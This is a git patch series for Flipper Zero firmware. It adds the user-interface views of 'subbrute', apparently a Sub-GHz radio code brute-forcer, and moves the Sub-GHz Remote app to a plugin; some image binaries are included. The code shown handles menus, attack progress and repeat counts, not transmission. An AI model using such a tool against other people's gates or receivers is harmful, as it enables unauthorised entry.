instance->callback(SubBruteCustomEventTypeChangeStepUpMore, instance->context); + } + update = true; + } + } else { + // ATTACK Mode! + if((event->type == InputTypeShort || event->type == InputTypeRepeat) && + (event->key == InputKeyOk || event->key == InputKeyBack)) { + instance->is_attacking = false; + instance->callback(SubBruteCustomEventTypeTransmitNotStarted, instance->context); + + update = true; + } + } + + if(update) { + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { + if(model->is_attacking != instance->is_attacking) { + if(instance->is_attacking) { + icon_animation_stop(model->icon); + icon_animation_start(model->icon); + } else { + icon_animation_stop(model->icon); + } + } + + model->attack_type = instance->attack_type; + model->max_value = instance->max_value; + model->current_step = instance->current_step; + model->is_attacking = instance->is_attacking; + }, + true); + } + + return true; +} + +SubBruteAttackView* subbrute_attack_view_alloc() { + SubBruteAttackView* instance = malloc(sizeof(SubBruteAttackView)); + + instance->view = view_alloc(); + view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubBruteAttackViewModel)); + view_set_context(instance->view, instance); + + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { + model->icon = icon_animation_alloc(&A_Sub1ghz_14); + view_tie_icon_animation(instance->view, model->icon); + }, + true); + + view_set_draw_callback(instance->view, (ViewDrawCallback)subbrute_attack_view_draw); + view_set_input_callback(instance->view, subbrute_attack_view_input); + view_set_enter_callback(instance->view, subbrute_attack_view_enter); + view_set_exit_callback(instance->view, subbrute_attack_view_exit); + + instance->attack_type = SubBruteAttackTotalCount; + instance->max_value = 0x00; + instance->current_step = 0; + instance->is_attacking = false; + + return instance; +} + +void subbrute_attack_view_enter(void* context) { + furi_assert(context); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_attack_view_enter"); +#endif +} + +void subbrute_attack_view_free(SubBruteAttackView* instance) { + furi_assert(instance); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_attack_view_free"); +#endif + + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { icon_animation_free(model->icon); }, + false); + + view_free(instance->view); + free(instance); +} + +View* subbrute_attack_view_get_view(SubBruteAttackView* instance) { + furi_assert(instance); + return instance->view; +} + +void subbrute_attack_view_set_current_step(SubBruteAttackView* instance, uint64_t current_step) { + furi_assert(instance); +#ifdef FURI_DEBUG + //FURI_LOG_D(TAG, "Set step: %d", current_step); +#endif + instance->current_step = current_step; + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { model->current_step = current_step; }, + true); +} + +// We need to call init every time, because not every time we calls enter +// normally, call enter only once +void subbrute_attack_view_init_values( + SubBruteAttackView* instance, + uint8_t index, + uint64_t max_value, + uint64_t current_step, + bool is_attacking, + uint8_t extra_repeats) { +#ifdef FURI_DEBUG + FURI_LOG_I( + TAG, + "INIT, attack_type: %d, max_value: %lld, current_step: %lld, extra_repeats: %d", + index, + max_value, + current_step, + extra_repeats); +#endif + instance->attack_type = index; + instance->max_value = max_value; + instance->current_step = current_step; + instance->is_attacking = is_attacking; + instance->extra_repeats = extra_repeats; + + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { + model->max_value = max_value; + model->attack_type = index; + model->current_step = current_step; + model->is_attacking = is_attacking; + model->extra_repeats = extra_repeats; + if(is_attacking) { + icon_animation_start(model->icon); + } else { + icon_animation_stop(model->icon); + } + }, + true); +} + +void subbrute_attack_view_exit(void* context) { + furi_assert(context); + SubBruteAttackView* instance = context; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_attack_view_exit"); +#endif + with_view_model( + instance->view, + SubBruteAttackViewModel * model, + { icon_animation_stop(model->icon); }, + false); +} + +void subbrute_attack_view_draw(Canvas* canvas, void* context) { + furi_assert(context); + SubBruteAttackViewModel* model = (SubBruteAttackViewModel*)context; + char buffer[64]; + + const char* attack_name = NULL; + attack_name = subbrute_protocol_name(model->attack_type); + + // Title + if(model->is_attacking) { + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, attack_name); + } + + // Current Step / Max value + const uint8_t y_frequency = 17; + if(model->max_value > 9999) { + canvas_set_font(canvas, FontBigNumbers); + snprintf(buffer, sizeof(buffer), "%05d/", (int)model->current_step); + canvas_draw_str_aligned(canvas, 5, y_frequency, AlignLeft, AlignTop, buffer); + + // Second part with another font, because BigNumber is out of screen bounds + canvas_set_font(canvas, FontPrimary); + snprintf(buffer, sizeof(buffer), "%05d", (int)model->max_value); + canvas_draw_str_aligned(canvas, 107, y_frequency + 13, AlignRight, AlignBottom, buffer); + } else if(model->max_value <= 0xFF) { + canvas_set_font(canvas, FontBigNumbers); + snprintf( + buffer, sizeof(buffer), "%03d/%03d", (int)model->current_step, (int)model->max_value); + canvas_draw_str_aligned(canvas, 64, y_frequency, AlignCenter, AlignTop, buffer); + } else { + canvas_set_font(canvas, FontBigNumbers); + snprintf( + buffer, sizeof(buffer), "%04d/%04d", (int)model->current_step, (int)model->max_value); + canvas_draw_str_aligned(canvas, 64, y_frequency, AlignCenter, AlignTop, buffer); + } + canvas_set_font(canvas, FontSecondary); + + memset(buffer, 0, sizeof(buffer)); + if(!model->is_attacking) { + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 64, 44, AlignCenter, AlignBottom, attack_name); + + snprintf( + buffer, + sizeof(buffer), + "x%d", + model->extra_repeats + subbrute_protocol_repeats_count(model->attack_type)); + canvas_draw_str_aligned(canvas, 60, 6, AlignCenter, AlignCenter, buffer); + + elements_button_left(canvas, "-1"); + elements_button_right(canvas, "+1"); + elements_button_center(canvas, "Start"); + elements_button_top_left(canvas, "Save"); + elements_button_top_right(canvas, "Resend"); + } else { + // canvas_draw_icon_animation + const uint8_t icon_h_offset = 0; + const uint8_t icon_width_with_offset = + icon_animation_get_width(model->icon) + icon_h_offset; + const uint8_t icon_v_offset = icon_animation_get_height(model->icon); // + vertical_offset; + const uint8_t x = canvas_width(canvas); + const uint8_t y = canvas_height(canvas); + canvas_draw_icon_animation( + canvas, x - icon_width_with_offset, y - icon_v_offset, model->icon); + // Progress bar + // Resolution: 128x64 px + float progress_value = (float)model->current_step / model->max_value; + elements_progress_bar(canvas, 8, 37, 110, progress_value > 1 ? 1 : progress_value); + + snprintf( + buffer, + sizeof(buffer), + "x%d", + model->extra_repeats + subbrute_protocol_repeats_count(model->attack_type)); + canvas_draw_str(canvas, 4, y - 8, buffer); + canvas_draw_str(canvas, 4, y - 1, "repeats"); + + elements_button_center(canvas, "Stop"); + } +} diff --git a/applications/plugins/subbrute/views/subbrute_attack_view.h b/applications/plugins/subbrute/views/subbrute_attack_view.h new file mode 100644 index 000000000..55e3a8222 --- /dev/null +++ b/applications/plugins/subbrute/views/subbrute_attack_view.h @@ -0,0 +1,25 @@ +#pragma once + +#include "../subbrute_custom_event.h" +#include +#include +#include + +typedef void (*SubBruteAttackViewCallback)(SubBruteCustomEvent event, void* context); +typedef struct SubBruteAttackView SubBruteAttackView; + +void subbrute_attack_view_set_callback( + SubBruteAttackView* instance, + SubBruteAttackViewCallback callback, + void* context); +SubBruteAttackView* subbrute_attack_view_alloc(); +void subbrute_attack_view_free(SubBruteAttackView* instance); +View* subbrute_attack_view_get_view(SubBruteAttackView* instance); +void subbrute_attack_view_set_current_step(SubBruteAttackView* instance, uint64_t current_step); +void subbrute_attack_view_init_values( + SubBruteAttackView* instance, + uint8_t index, + uint64_t max_value, + uint64_t current_step, + bool is_attacking, + uint8_t extra_repeats); \ No newline at end of file diff --git a/applications/plugins/subbrute/views/subbrute_main_view.c b/applications/plugins/subbrute/views/subbrute_main_view.c new file mode 100644 index 000000000..c21f2ea33 --- /dev/null +++ b/applications/plugins/subbrute/views/subbrute_main_view.c @@ -0,0 +1,463 @@ +#include "subbrute_main_view.h" +#include "../subbrute_i.h" +#include "../subbrute_protocols.h" +#include "../helpers/gui_top_buttons.h" + +#include +#include +#include + +#define STATUS_BAR_Y_SHIFT 14 +#define TAG "SubBruteMainView" + +#define ITEMS_ON_SCREEN 3 +#define ITEMS_INTERVAL 1 +#define ITEM_WIDTH 14 +#define ITEM_Y 27 +#define ITEM_HEIGHT 13 +#define TEXT_X 6 +#define TEXT_Y 37 +#define TEXT_INTERVAL 3 +#define TEXT_WIDTH 12 +#define ITEM_FRAME_RADIUS 2 + +struct SubBruteMainView { + View* view; + SubBruteMainViewCallback callback; + void* context; + uint8_t index; + bool is_select_byte; + bool two_bytes; + uint64_t key_from_file; + uint8_t extra_repeats; + uint8_t window_position; +}; + +typedef struct { + uint8_t index; + uint8_t extra_repeats; + uint8_t window_position; + bool is_select_byte; + bool two_bytes; + uint64_t key_from_file; +} SubBruteMainViewModel; + +void subbrute_main_view_set_callback( + SubBruteMainView* instance, + SubBruteMainViewCallback callback, + void* context) { + furi_assert(instance); + furi_assert(callback); + + instance->callback = callback; + instance->context = context; +} + +void subbrute_main_view_center_displayed_key( + Canvas* canvas, + uint64_t key, + uint8_t index, + bool two_bytes) { + uint8_t text_x = TEXT_X; + uint8_t item_x = TEXT_X - ITEMS_INTERVAL; + canvas_set_font(canvas, FontSecondary); + + for(int i = 0; i < 8; i++) { + char current_value[3] = {0}; + uint8_t byte_value = (uint8_t)(key >> 8 * (7 - i)) & 0xFF; + snprintf(current_value, sizeof(current_value), "%02X", byte_value); + + // For two bytes we need to select prev location + if(!two_bytes && i == index) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_rbox( + canvas, item_x - 1, ITEM_Y, ITEM_WIDTH + 1, ITEM_HEIGHT, ITEM_FRAME_RADIUS); + canvas_set_color(canvas, ColorWhite); + canvas_draw_str(canvas, text_x, TEXT_Y, current_value); + } else if(two_bytes && (i == index || i == index - 1)) { + if(i == index) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_rbox( + canvas, + item_x - ITEMS_INTERVAL - ITEM_WIDTH - 1, + ITEM_Y, + ITEM_WIDTH * 2 + ITEMS_INTERVAL * 2 + 1, + ITEM_HEIGHT, + ITEM_FRAME_RADIUS); + + canvas_set_color(canvas, ColorWhite); + canvas_draw_str(canvas, text_x, TEXT_Y, current_value); + + // Redraw prev element with white + memset(current_value, 0, sizeof(current_value)); + byte_value = (uint8_t)(key >> 8 * (7 - i + 1)) & 0xFF; + snprintf(current_value, sizeof(current_value), "%02X", byte_value); + canvas_draw_str( + canvas, text_x - (TEXT_WIDTH + TEXT_INTERVAL), TEXT_Y, current_value); + } else { + canvas_set_color(canvas, ColorWhite); + canvas_draw_str(canvas, text_x, TEXT_Y, current_value); + } + } else { + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, text_x, TEXT_Y, current_value); + } + text_x = text_x + TEXT_WIDTH + TEXT_INTERVAL; + item_x = item_x + ITEM_WIDTH + ITEMS_INTERVAL; + } + + // Return normal color + canvas_set_color(canvas, ColorBlack); +} + +void subbrute_main_view_draw(Canvas* canvas, SubBruteMainViewModel* model) { + uint16_t screen_width = canvas_width(canvas); + uint16_t screen_height = canvas_height(canvas); + + if(model->is_select_byte) { +#ifdef FURI_DEBUG + //FURI_LOG_D(TAG, "key_from_file: %s", model->key_from_file); +#endif + //char msg_index[18]; + //snprintf(msg_index, sizeof(msg_index), "Field index: %d", model->index); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned( + canvas, 64, 17, AlignCenter, AlignTop, "Please select values to calc:"); + + subbrute_main_view_center_displayed_key( + canvas, model->key_from_file, model->index, model->two_bytes); + //const char* line = furi_string_get_cstr(menu_items); + //canvas_set_font(canvas, FontSecondary); + //canvas_draw_str_aligned( + // canvas, 64, 37, AlignCenter, AlignTop, furi_string_get_cstr(menu_items)); + + elements_button_center(canvas, "Select"); + if(model->index > 0) { + elements_button_left(canvas, " "); + } + if(model->index < 7) { + elements_button_right(canvas, " "); + } + // Switch to another mode + if(model->two_bytes) { + elements_button_top_left(canvas, "One byte"); + } else { + elements_button_top_left(canvas, "Two bytes"); + } + } else { + // Title + canvas_set_font(canvas, FontPrimary); + canvas_draw_box(canvas, 0, 0, canvas_width(canvas), STATUS_BAR_Y_SHIFT); + canvas_invert_color(canvas); + canvas_draw_str_aligned(canvas, 64, 3, AlignCenter, AlignTop, SUBBRUTEFORCER_VER); + canvas_invert_color(canvas); + + // Menu + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontSecondary); + const uint8_t item_height = 16; + +#ifdef FURI_DEBUG + //FURI_LOG_D(TAG, "window_position: %d, index: %d", model->window_position, model->index); +#endif + for(uint8_t position = 0; position < SubBruteAttackTotalCount; ++position) { + uint8_t item_position = position - model->window_position; + + if(item_position < ITEMS_ON_SCREEN) { + if(model->index == position) { + canvas_draw_str_aligned( + canvas, + 4, + 9 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, + AlignLeft, + AlignCenter, + subbrute_protocol_name(position)); + + if(model->extra_repeats > 0) { + canvas_set_font(canvas, FontBatteryPercent); + char buffer[10]; + snprintf( + buffer, + sizeof(buffer), + "x%d", + model->extra_repeats + subbrute_protocol_repeats_count(model->index)); + canvas_draw_str_aligned( + canvas, + screen_width - 15, + 9 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, + AlignLeft, + AlignCenter, + buffer); + canvas_set_font(canvas, FontSecondary); + } + + elements_frame( + canvas, 1, 1 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, 124, 15); + } else { + canvas_draw_str_aligned( + canvas, + 4, + 9 + (item_position * item_height) + STATUS_BAR_Y_SHIFT, + AlignLeft, + AlignCenter, + subbrute_protocol_name(position)); + } + } + } + + elements_scrollbar_pos( + canvas, + screen_width, + STATUS_BAR_Y_SHIFT + 2, + screen_height - STATUS_BAR_Y_SHIFT, + model->index, + SubBruteAttackTotalCount); + } +} + +bool subbrute_main_view_input(InputEvent* event, void* context) { + furi_assert(event); + furi_assert(context); + + if(event->key == InputKeyBack && event->type == InputTypeShort) { +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "InputKey: BACK"); +#endif + return false; + } + + SubBruteMainView* instance = context; +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "InputKey: %d, extra_repeats: %d", event->key, instance->extra_repeats); +#endif + const uint8_t min_value = 0; + const uint8_t correct_total = SubBruteAttackTotalCount - 1; + uint8_t max_repeats = 9 - subbrute_protocol_repeats_count(instance->index); + + bool updated = false; + bool consumed = false; + bool is_short = (event->type == InputTypeShort) || (event->type == InputTypeRepeat); + + if(!instance->is_select_byte) { + if(event->key == InputKeyUp && is_short) { + if(instance->index == min_value) { + instance->index = correct_total; + } else { + instance->index = CLAMP(instance->index - 1, correct_total, min_value); + } + instance->extra_repeats = 0; + updated = true; + consumed = true; + } else if(event->key == InputKeyDown && is_short) { + if(instance->index == correct_total) { + instance->index = min_value; + } else { + instance->index = CLAMP(instance->index + 1, correct_total, min_value); + } + instance->extra_repeats = 0; + updated = true; + consumed = true; + } else if(event->key == InputKeyLeft && is_short) { + instance->extra_repeats = CLAMP(instance->extra_repeats - 1, max_repeats, 0); + + updated = true; + consumed = true; + } else if(event->key == InputKeyRight && is_short) { + instance->extra_repeats = CLAMP(instance->extra_repeats + 1, max_repeats, 0); + + updated = true; + consumed = true; + } else if(event->key == InputKeyOk && is_short) { + if(instance->index == SubBruteAttackLoadFile) { + instance->callback(SubBruteCustomEventTypeLoadFile, instance->context); + } else { + instance->callback(SubBruteCustomEventTypeMenuSelected, instance->context); + } + consumed = true; + updated = true; + } + if(updated) { + instance->window_position = instance->index; + if(instance->window_position > 0) { + instance->window_position -= 1; + } + + if(SubBruteAttackTotalCount <= ITEMS_ON_SCREEN) { + instance->window_position = 0; + } else { + if(instance->window_position >= (SubBruteAttackTotalCount - ITEMS_ON_SCREEN)) { + instance->window_position = (SubBruteAttackTotalCount - ITEMS_ON_SCREEN); + } + } + } + } else if(is_short) { + if(event->key == InputKeyLeft) { + if((instance->index > 0 && !instance->two_bytes) || + (instance->two_bytes && instance->index > 1)) { + instance->index--; + } + updated = true; + consumed = true; + } else if(event->key == InputKeyRight) { + if(instance->index < 7) { + instance->index++; + } + updated = true; + consumed = true; + } else if(event->key == InputKeyUp) { + instance->two_bytes = !instance->two_bytes; + // Because index is changing + if(instance->two_bytes && instance->index < 7) { + instance->index++; + } + // instance->callback( + // instance->two_bytes ? SubBruteCustomEventTypeChangeStepUp : + // SubBruteCustomEventTypeChangeStepDown, + // instance->context); + + updated = true; + consumed = true; + } else if(event->key == InputKeyOk) { + instance->callback(SubBruteCustomEventTypeIndexSelected, instance->context); + consumed = true; + updated = true; + } + } + + if(updated) { + with_view_model( + instance->view, + SubBruteMainViewModel * model, + { + model->index = instance->index; + model->window_position = instance->window_position; + model->key_from_file = instance->key_from_file; + model->is_select_byte = instance->is_select_byte; + model->two_bytes = instance->two_bytes; + model->extra_repeats = instance->extra_repeats; + }, + true); + } + + return consumed; +} + +void subbrute_main_view_enter(void* context) { + furi_assert(context); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_main_view_enter"); +#endif +} + +void subbrute_main_view_exit(void* context) { + furi_assert(context); + +#ifdef FURI_DEBUG + FURI_LOG_D(TAG, "subbrute_main_view_exit"); +#endif +} + +SubBruteMainView* subbrute_main_view_alloc() { + SubBruteMainView* instance = malloc(sizeof(SubBruteMainView)); + instance->view = view_alloc(); + view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubBruteMainViewModel)); + view_set_context(instance->view, instance); + view_set_draw_callback(instance->view, (ViewDrawCallback)subbrute_main_view_draw); + view_set_input_callback(instance->view, subbrute_main_view_input); + view_set_enter_callback(instance->view, subbrute_main_view_enter); + view_set_exit_callback(instance->view, subbrute_main_view_exit); + + instance->index = 0; + instance->window_position = 0; + instance->key_from_file = 0; + instance->is_select_byte = false; + instance->two_bytes = false; + instance->extra_repeats = 0; + with_view_model( + instance->view, + SubBruteMainViewModel * model, + { + model->index = instance->index; + model->window_position = instance->window_position; + model->key_from_file = instance->key_from_file; + model->is_select_byte = instance->is_select_byte; + model->two_bytes = instance->two_bytes; + model->extra_repeats = instance->extra_repeats; + }, + true); + + return instance; +} + +void subbrute_main_view_free(SubBruteMainView* instance) { + furi_assert(instance); + + view_free(instance->view); + free(instance); +} + +View* subbrute_main_view_get_view(SubBruteMainView* instance) { + furi_assert(instance); + return instance->view; +} + +void subbrute_main_view_set_index( + SubBruteMainView* instance, + uint8_t idx, + bool is_select_byte, + bool two_bytes, + uint64_t key_from_file) { + furi_assert(instance); + furi_assert(idx < SubBruteAttackTotalCount); +#ifdef FURI_DEBUG + FURI_LOG_I(TAG, "Set index: %d, is_select_byte: %d", idx, is_select_byte); +#endif + instance->is_select_byte = is_select_byte; + instance->two_bytes = two_bytes; + instance->key_from_file = key_from_file; + instance->index = idx; + instance->window_position = idx; + + if(!is_select_byte) { + if(instance->window_position > 0) { + instance->window_position -= 1; + } + + if(SubBruteAttackTotalCount <= ITEMS_ON_SCREEN) { + instance->window_position = 0; + } else { + if(instance->window_position >= (SubBruteAttackTotalCount - ITEMS_ON_SCREEN)) { + instance->window_position = (SubBruteAttackTotalCount - ITEMS_ON_SCREEN); + } + } + } + + with_view_model( + instance->view, + SubBruteMainViewModel * model, + { + model->index = instance->index; + model->window_position = instance->window_position; + model->key_from_file = instance->key_from_file; + model->is_select_byte = instance->is_select_byte; + model->two_bytes = instance->two_bytes; + model->extra_repeats = instance->extra_repeats; + }, + true); +} + +SubBruteAttacks subbrute_main_view_get_index(SubBruteMainView* instance) { + furi_assert(instance); + return instance->index; +} + +uint8_t subbrute_main_view_get_extra_repeats(SubBruteMainView* instance) { + furi_assert(instance); + return instance->extra_repeats; +} + +bool subbrute_main_view_get_two_bytes(SubBruteMainView* instance) { + furi_assert(instance); + return instance->two_bytes; +} \ No newline at end of file diff --git a/applications/plugins/subbrute/views/subbrute_main_view.h b/applications/plugins/subbrute/views/subbrute_main_view.h new file mode 100644 index 000000000..003cd9817 --- /dev/null +++ b/applications/plugins/subbrute/views/subbrute_main_view.h @@ -0,0 +1,32 @@ +#pragma once + +#include "../subbrute_custom_event.h" +#include "../subbrute_protocols.h" +#include +#include +#include + +typedef void (*SubBruteMainViewCallback)(SubBruteCustomEvent event, void* context); +typedef struct SubBruteMainView SubBruteMainView; + +void subbrute_main_view_set_callback( + SubBruteMainView* instance, + SubBruteMainViewCallback callback, + void* context); + +SubBruteMainView* subbrute_main_view_alloc(); +void subbrute_main_view_free(SubBruteMainView* instance); +View* subbrute_main_view_get_view(SubBruteMainView* instance); +void subbrute_main_view_set_index( + SubBruteMainView* instance, + uint8_t idx, + bool is_select_byte, + bool two_bytes, + uint64_t file_key); +SubBruteAttacks subbrute_main_view_get_index(SubBruteMainView* instance); +uint8_t subbrute_main_view_get_extra_repeats(SubBruteMainView* instance); +bool subbrute_main_view_get_two_bytes(SubBruteMainView* instance); +void subbrute_attack_view_enter(void* context); +void subbrute_attack_view_exit(void* context); +bool subbrute_attack_view_input(InputEvent* event, void* context); +void subbrute_attack_view_draw(Canvas* canvas, void* context); \ No newline at end of file From 749431ba8db3bba0c1dcd4233f73f9e734d558e8 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 17:09:51 +0000 Subject: [PATCH 081/329] Format --- applications/plugins/subbrute/application.fam | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/plugins/subbrute/application.fam b/applications/plugins/subbrute/application.fam index a03742d64..fcc629238 100644 --- a/applications/plugins/subbrute/application.fam +++ b/applications/plugins/subbrute/application.fam @@ -4,7 +4,7 @@ App( apptype=FlipperAppType.EXTERNAL, entry_point="subbrute_app", cdefines=["APP_SUB_BRUTE"], - requires=["gui","dialogs"], + requires=["gui", "dialogs"], stack_size=2 * 1024, order=11, fap_icon="images/subbrute_10px.png", From 5910ea0e52ea085fdb1cbb788645c17b98c5fe1b Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 17:51:23 +0000 Subject: [PATCH 082/329] Make subghz remote external --- applications/main/application.fam | 1 - .../subghz_remote/application.fam | 8 +++++--- .../subghz_remote/images/ButtonDown_7x4.png | Bin 0 -> 102 bytes .../subghz_remote/images/ButtonLeft_4x7.png | Bin 0 -> 1415 bytes .../subghz_remote/images/ButtonRight_4x7.png | Bin 0 -> 1839 bytes .../subghz_remote/images/ButtonUp_7x4.png | Bin 0 -> 102 bytes .../plugins/subghz_remote/images/Ok_btn_9x9.png | Bin 0 -> 3605 bytes .../subghz_remote/images/Pin_arrow_down_7x9.png | Bin 0 -> 3607 bytes .../subghz_remote/images/Pin_arrow_left_9x7.png | Bin 0 -> 3603 bytes .../images/Pin_arrow_right_9x7.png | Bin 0 -> 3602 bytes .../subghz_remote/images/Pin_arrow_up_7x9.png | Bin 0 -> 3603 bytes .../subghz_remote/images/Pin_cell_13x13.png | Bin 0 -> 3593 bytes .../subghz_remote/images/Pin_star_7x7.png | Bin 0 -> 3600 bytes .../plugins/subghz_remote/images/back_10px.png | Bin 0 -> 154 bytes .../plugins/subghz_remote/images/sub1_10px.png | Bin 0 -> 299 bytes .../subghz_remote/subghz_remote_10px.png | Bin 0 -> 5000 bytes .../subghz_remote/subghz_remote_app.c | 2 +- .../icons/MainMenu/SubGHzRemote_14/frame_0.png | Bin 1623 -> 0 bytes .../icons/MainMenu/SubGHzRemote_14/frame_1.png | Bin 1622 -> 0 bytes .../icons/MainMenu/SubGHzRemote_14/frame_2.png | Bin 1593 -> 0 bytes .../icons/MainMenu/SubGHzRemote_14/frame_3.png | Bin 1610 -> 0 bytes .../icons/MainMenu/SubGHzRemote_14/frame_4.png | Bin 1609 -> 0 bytes .../icons/MainMenu/SubGHzRemote_14/frame_5.png | Bin 1610 -> 0 bytes .../icons/MainMenu/SubGHzRemote_14/frame_6.png | Bin 1593 -> 0 bytes .../icons/MainMenu/SubGHzRemote_14/frame_7.png | Bin 1622 -> 0 bytes .../icons/MainMenu/SubGHzRemote_14/frame_rate | 1 - firmware/targets/f7/api_symbols.csv | 16 ++++++++-------- lib/subghz/protocols/alutech_at_4n.h | 8 ++++++++ lib/subghz/protocols/keeloq.h | 8 ++++++++ lib/subghz/protocols/nice_flor_s.h | 8 ++++++++ lib/subghz/protocols/somfy_telis.h | 8 ++++++++ lib/subghz/protocols/star_line.h | 8 ++++++++ 32 files changed, 54 insertions(+), 14 deletions(-) rename applications/{main => plugins}/subghz_remote/application.fam (55%) create mode 100644 applications/plugins/subghz_remote/images/ButtonDown_7x4.png create mode 100644 applications/plugins/subghz_remote/images/ButtonLeft_4x7.png create mode 100644 applications/plugins/subghz_remote/images/ButtonRight_4x7.png create mode 100644 applications/plugins/subghz_remote/images/ButtonUp_7x4.png create mode 100644 applications/plugins/subghz_remote/images/Ok_btn_9x9.png create mode 100644 applications/plugins/subghz_remote/images/Pin_arrow_down_7x9.png create mode 100644 applications/plugins/subghz_remote/images/Pin_arrow_left_9x7.png create mode 100644 applications/plugins/subghz_remote/images/Pin_arrow_right_9x7.png create mode 100644 applications/plugins/subghz_remote/images/Pin_arrow_up_7x9.png create mode 100644 applications/plugins/subghz_remote/images/Pin_cell_13x13.png create mode 100644 applications/plugins/subghz_remote/images/Pin_star_7x7.png create mode 100644 applications/plugins/subghz_remote/images/back_10px.png create mode 100644 applications/plugins/subghz_remote/images/sub1_10px.png create mode 100644 applications/plugins/subghz_remote/subghz_remote_10px.png rename applications/{main => plugins}/subghz_remote/subghz_remote_app.c (99%) delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_0.png delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_1.png delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_2.png delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_3.png delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_4.png delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_5.png delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_6.png delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_7.png delete mode 100644 assets/icons/MainMenu/SubGHzRemote_14/frame_rate diff --git a/applications/main/application.fam b/applications/main/application.fam index 459a878ed..1b179271a 100644 --- a/applications/main/application.fam +++ b/applications/main/application.fam @@ -5,7 +5,6 @@ App( provides=[ "fap_loader", "subghz", - "subghz_remote", "lfrfid", "nfc", "infrared", diff --git a/applications/main/subghz_remote/application.fam b/applications/plugins/subghz_remote/application.fam similarity index 55% rename from applications/main/subghz_remote/application.fam rename to applications/plugins/subghz_remote/application.fam index e09f8500f..e89f55b82 100644 --- a/applications/main/subghz_remote/application.fam +++ b/applications/plugins/subghz_remote/application.fam @@ -1,14 +1,16 @@ App( - appid="subghz_remote", + appid="SubGHz_Remote", name="Sub-GHz Remote", - apptype=FlipperAppType.APP, + apptype=FlipperAppType.EXTERNAL, entry_point="subghz_remote_app", cdefines=["APP_SUBGHZREMOTE"], requires=[ "gui", "dialogs", ], - icon="A_SubGHzRemote_14", stack_size=4 * 1024, order=11, + fap_icon="subghz_remote_10px.png", + fap_category="Sub-GHz", + fap_icon_assets="images", ) diff --git a/applications/plugins/subghz_remote/images/ButtonDown_7x4.png b/applications/plugins/subghz_remote/images/ButtonDown_7x4.png new file mode 100644 index 0000000000000000000000000000000000000000..2954bb6a67d1c23c0bb5d765e8d2aa04b9b5adec GIT binary patch literal 102 zcmeAS@N?(olHy`uVBq!ia0vp^>_E)I!3HFqj;YoHDIHH2#}J9|(o>FH3<^BV2haYO z-y5_sM4;GPjq%Ck6>60csmUj6EiNa>ORduPH4*)h!w|e3sE@(Z)z4*}Q$iC10Gods AV*mgE literal 0 HcmV?d00001 diff --git a/applications/plugins/subghz_remote/images/ButtonLeft_4x7.png b/applications/plugins/subghz_remote/images/ButtonLeft_4x7.png new file mode 100644 index 0000000000000000000000000000000000000000..0b4655d43247083aa705620e9836ac415b42ca46 GIT binary patch literal 1415 zcmbVM+iKK67*5rq)>aU2M7$VM1Vxif;vTv~W2u`S7ED{V3s&&L*<`XiG|9wd+THd> z5CnY!sdyuJtrvQyAo>KpiLcV|{Tkc)riAbluXfwSZCApL`ztB&p zx6LGKvks4K_4~)qD&oGa-YdJlW)hAKMNJd7<=t?6c^RI1>c$ifyjaM>^|&8!ey zB4!nh9u>5uen6Ve@<H5rru6h<2Ef#GQdQ*CmZOlQi~N!?9H`Rp;C% zU}CB21#?;r`&0|6C0}b-=jODa5|nEJ#ntxQ&{~jpgtwDta4hftr~G=#p@V36e4Zjh zq%J~{y26Jjn=1Nw-l*3%QW5YFE*v4z3gt0$&(*xf2en34c?JpH8+FYldo+Alvg8af-pG4(=!fyUi-Wsg z`g#n9VUcf(DFr{poMSNzw-lz>w+HV+n1ELr&SLA#LHUb0p(xWQ(1*vJ-i+1!`swxZ Z!O7;c$;lT_->m1Ovaz)0yuI`A$q$F8u*d)a literal 0 HcmV?d00001 diff --git a/applications/plugins/subghz_remote/images/ButtonRight_4x7.png b/applications/plugins/subghz_remote/images/ButtonRight_4x7.png new file mode 100644 index 0000000000000000000000000000000000000000..8e1c74c1c0038ea55172f19ac875003fc80c2d06 GIT binary patch literal 1839 zcmcIlO>f*p7#Yw)M6zw!O+@VZ{?d|D~WYi~8rHRY?X-&T}Yen`g$^+EJ;z+|RV zE@PoDvZ9%#+_}3bC_5Cj8jDGq541mi{7F+&KF}W65sr$Xn5H|YrMQ2(J7%Yc%;(zO z57ax000=TsQ+1Ke@+w#iw3au3cGGQWY740k2ijH>P(6tD)S)be>gX6Tj7`<`b>di- 